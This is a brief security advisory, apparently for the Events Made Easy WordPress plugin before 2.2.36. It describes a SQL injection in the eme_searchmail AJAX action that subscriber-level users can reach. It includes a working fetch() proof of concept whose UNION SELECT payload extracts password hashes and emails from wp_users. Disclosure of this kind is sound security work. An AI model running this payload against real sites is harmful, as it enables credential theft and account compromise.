The plugin does not sanitise and escape the search_text parameter before using it in a SQL statement via the eme_searchmail AJAX action, available to any authenticated users. As a result, users with a role as low as subscriber can call it and perform SQL injection attacks
fetch(“https://example.com/wp-admin/admin-ajax.php”, { “headers”: { “content-type”: “application/x-www-form-urlencoded”, }, “body”: new URLSearchParams({“action”:“eme_searchmail”,“search_text”: “') union select 1,1,1,1,1,user_pass,user_email,1,1,1,1,1,1,1,1,1,1,1,1 from wp_users – g”}), “method”: “POST”, “credentials”: “include” }) .then(response => response.text()) .then(data => console.log(data));
CPE | Name | Operator | Version |
---|---|---|---|
events-made-easy | lt | 2.2.36 |